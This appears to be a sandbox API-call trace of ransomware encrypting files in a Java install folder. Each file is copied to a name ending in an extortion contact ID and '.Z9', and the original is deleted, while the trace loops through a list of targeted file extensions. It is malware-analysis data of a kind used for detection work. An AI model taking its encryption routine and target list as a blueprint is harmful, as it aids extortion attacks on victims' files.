	[0164.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.824] GetLastError () returned 0x0
	[0164.824] ReadFile (in: hFile=0x458, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x8eac, lpOverlapped=0x0) returned 1
	[0164.848] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x8eb0, lpOverlapped=0x0) returned 1
	[0164.992] ReadFile (in: hFile=0x458, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.992] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xee, lpOverlapped=0x0) returned 1
	[0164.992] SetEndOfFile (hFile=0x44c) returned 1
	[0164.992] CloseHandle (hObject=0x44c) returned 1
	[0164.992] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.992] SetEndOfFile (hFile=0x458) returned 1
	[0164.998] CloseHandle (hObject=0x458) returned 1
	[0164.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.999] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1
	[0165.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.000] lstrlenW (lpString=".doc") returned 4
	[0165.000] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString=".docx") returned 5
	[0165.000] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0165.000] lstrlenW (lpString=".pdf") returned 4
	[0165.000] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString=".xls") returned 4
	[0165.000] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString=".xlsx") returned 5
	[0165.000] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0165.000] lstrlenW (lpString=".ppt") returned 4
	[0165.000] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.000] lstrlenW (lpString=".zip") returned 4
	[0165.000] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString=".rar") returned 4
	[0165.000] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString=".bz2") returned 4
	[0165.000] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0165.000] lstrlenW (lpString=".7z") returned 3
	[0165.000] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0165.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.000] lstrlenW (lpString=".dbf") returned 4
	[0165.001] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString=".1cd") returned 4
	[0165.001] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString=".jpg") returned 4
	[0165.001] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString=".doc") returned 4
	[0165.001] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString=".docx") returned 5
	[0165.001] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0165.001] lstrlenW (lpString=".pdf") returned 4
	[0165.001] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString=".xls") returned 4
	[0165.001] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString=".xlsx") returned 5
	[0165.001] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0165.001] lstrlenW (lpString=".ppt") returned 4
	[0165.001] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString=".zip") returned 4
	[0165.001] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString=".rar") returned 4
	[0165.001] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString=".bz2") returned 4
	[0165.001] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString=".7z") returned 3
	[0165.001] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString=".dbf") returned 4
	[0165.001] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0165.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.001] lstrlenW (lpString=".1cd") returned 4
	[0165.002] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0165.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0165.002] lstrlenW (lpString=".jpg") returned 4
	[0165.002] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0165.002] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".Z9") returned -1
	[0165.002] lstrlenW (lpString="LICENSE") returned 7
	[0165.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0165.003] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=40) returned 1
	[0165.003] CloseHandle (hObject=0x458) returned 1
	[0165.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20
	[0165.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0165.004] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.004] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0165.005] GetLastError () returned 0x0
	[0165.005] ReadFile (in: hFile=0x458, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x28, lpOverlapped=0x0) returned 1
	[0165.006] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x30, lpOverlapped=0x0) returned 1
	[0165.007] ReadFile (in: hFile=0x458, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.007] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0165.007] SetEndOfFile (hFile=0x44c) returned 1
	[0165.008] CloseHandle (hObject=0x44c) returned 1
	[0165.008] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.008] SetEndOfFile (hFile=0x458) returned 1
	[0165.011] CloseHandle (hObject=0x458) returned 1
	[0165.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0165.011] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1
	[0165.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.012] lstrlenW (lpString=".doc") returned 4
	[0165.012] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString=".docx") returned 5
	[0165.012] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0165.012] lstrlenW (lpString=".pdf") returned 4
	[0165.012] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString=".xls") returned 4
	[0165.012] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString=".xlsx") returned 5
	[0165.012] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0165.012] lstrlenW (lpString=".ppt") returned 4
	[0165.012] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.012] lstrlenW (lpString=".zip") returned 4
	[0165.012] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString=".rar") returned 4
	[0165.012] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString=".bz2") returned 4
	[0165.012] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString=".7z") returned 3
	[0165.012] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0165.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.012] lstrlenW (lpString=".dbf") returned 4
	[0165.012] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.012] lstrlenW (lpString=".1cd") returned 4
	[0165.012] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0165.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.012] lstrlenW (lpString=".jpg") returned 4
	[0165.012] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.013] lstrlenW (lpString=".doc") returned 4
	[0165.013] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString=".docx") returned 5
	[0165.013] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0165.013] lstrlenW (lpString=".pdf") returned 4
	[0165.013] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString=".xls") returned 4
	[0165.013] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString=".xlsx") returned 5
	[0165.013] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0165.013] lstrlenW (lpString=".ppt") returned 4
	[0165.013] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.013] lstrlenW (lpString=".zip") returned 4
	[0165.013] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString=".rar") returned 4
	[0165.013] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString=".bz2") returned 4
	[0165.013] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString=".7z") returned 3
	[0165.013] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0165.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.013] lstrlenW (lpString=".dbf") returned 4
	[0165.013] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.013] lstrlenW (lpString=".1cd") returned 4
	[0165.013] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0165.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0165.013] lstrlenW (lpString=".jpg") returned 4
	[0165.013] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0165.014] lstrcmpiW (lpString1=".0_144\\release", lpString2=".Z9") returned -1
	[0165.014] lstrlenW (lpString="release") returned 7
	[0165.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0165.014] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=528) returned 1
	[0165.014] CloseHandle (hObject=0x458) returned 1
	[0165.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20
	[0165.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0165.015] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.015] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0165.017] GetLastError () returned 0x0
	[0165.017] ReadFile (in: hFile=0x458, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x210, lpOverlapped=0x0) returned 1
	[0165.018] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x220, lpOverlapped=0x0) returned 1
	[0165.020] ReadFile (in: hFile=0x458, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.020] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0165.020] SetEndOfFile (hFile=0x44c) returned 1
	[0165.020] CloseHandle (hObject=0x44c) returned 1
	[0165.020] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.020] SetEndOfFile (hFile=0x458) returned 1
	[0165.024] CloseHandle (hObject=0x458) returned 1
	[0165.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0165.025] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.025] lstrlenW (lpString=".doc") returned 4
	[0165.025] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0165.025] lstrlenW (lpString=".docx") returned 5
	[0165.025] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0165.025] lstrlenW (lpString=".pdf") returned 4
	[0165.025] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0165.025] lstrlenW (lpString=".xls") returned 4
	[0165.025] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0165.025] lstrlenW (lpString=".xlsx") returned 5
	[0165.025] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0165.026] lstrlenW (lpString=".ppt") returned 4
	[0165.026] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.026] lstrlenW (lpString=".zip") returned 4
	[0165.026] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString=".rar") returned 4
	[0165.026] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString=".bz2") returned 4
	[0165.026] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString=".7z") returned 3
	[0165.026] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.026] lstrlenW (lpString=".dbf") returned 4
	[0165.026] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.026] lstrlenW (lpString=".1cd") returned 4
	[0165.026] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.026] lstrlenW (lpString=".jpg") returned 4
	[0165.026] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.026] lstrlenW (lpString=".doc") returned 4
	[0165.026] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0165.026] lstrlenW (lpString=".docx") returned 5
	[0165.026] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0165.026] lstrlenW (lpString=".pdf") returned 4
	[0165.026] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString=".xls") returned 4
	[0165.027] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString=".xlsx") returned 5
	[0165.027] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0165.027] lstrlenW (lpString=".ppt") returned 4
	[0165.027] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.027] lstrlenW (lpString=".zip") returned 4
	[0165.027] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString=".rar") returned 4
	[0165.027] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString=".bz2") returned 4
	[0165.027] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString=".7z") returned 3
	[0165.027] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0165.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.027] lstrlenW (lpString=".dbf") returned 4
	[0165.027] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.027] lstrlenW (lpString=".1cd") returned 4
	[0165.027] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0165.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0165.027] lstrlenW (lpString=".jpg") returned 4
	[0165.027] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0165.027] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0165.028] lstrlenW (lpString="ride_australian.exe") returned 19
	[0165.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\ride_australian.exe" (normalized: "c:\\program files\\java\\ride_australian.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0165.029] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=78336) returned 1
	[0165.029] CloseHandle (hObject=0x458) returned 1
	[0165.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\ride_australian.exe" (normalized: "c:\\program files\\java\\ride_australian.exe")) returned 0x20
	[0165.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\ride_australian.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\ride_australian.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\ride_australian.exe" (normalized: "c:\\program files\\java\\ride_australian.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.030] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.030] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.030] lstrlenW (lpString=".doc") returned 4
	[0165.030] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0165.030] lstrlenW (lpString=".docx") returned 5
	[0165.030] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0165.030] lstrlenW (lpString=".pdf") returned 4
	[0165.030] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0165.030] lstrlenW (lpString=".xls") returned 4
	[0165.030] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0165.030] lstrlenW (lpString=".xlsx") returned 5
	[0165.030] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0165.030] lstrlenW (lpString=".ppt") returned 4
	[0165.030] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0165.030] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.030] lstrlenW (lpString=".zip") returned 4
	[0165.030] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0165.030] lstrlenW (lpString=".rar") returned 4
	[0165.030] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0165.030] lstrlenW (lpString=".bz2") returned 4
	[0165.030] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0165.030] lstrlenW (lpString=".7z") returned 3
	[0165.030] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0165.030] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.030] lstrlenW (lpString=".dbf") returned 4
	[0165.030] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0165.030] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.030] lstrlenW (lpString=".1cd") returned 4
	[0165.031] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0165.031] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.031] lstrlenW (lpString=".jpg") returned 4
	[0165.031] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0165.031] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.031] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.031] lstrlenW (lpString=".doc") returned 4
	[0165.031] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0165.031] lstrlenW (lpString=".docx") returned 5
	[0165.031] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0165.031] lstrlenW (lpString=".pdf") returned 4
	[0165.031] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0165.031] lstrlenW (lpString=".xls") returned 4
	[0165.031] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
